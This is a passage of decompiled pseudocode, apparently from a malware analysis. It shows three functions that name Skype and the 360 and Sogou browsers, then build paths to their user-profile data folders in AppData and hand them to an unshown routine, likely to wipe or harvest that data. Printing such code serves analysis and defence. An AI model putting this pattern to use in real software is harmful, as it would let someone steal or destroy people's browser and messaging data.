  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v10;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\SogouExplorer");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
int __stdcall sub_412210(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // edi
  char v10; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("Skype.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v10;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v10;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\Microsoft\\Skype for Desktop");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
int __stdcall sub_412300(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // eax
  char *v9; // eax
  char v12; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("360se6.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v12;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v12;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\3");
  v9 = &v12;
  while ( *++v9 )
    ;
  strcpy(v9, "60se6\\User Data\\Default");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}

总结

image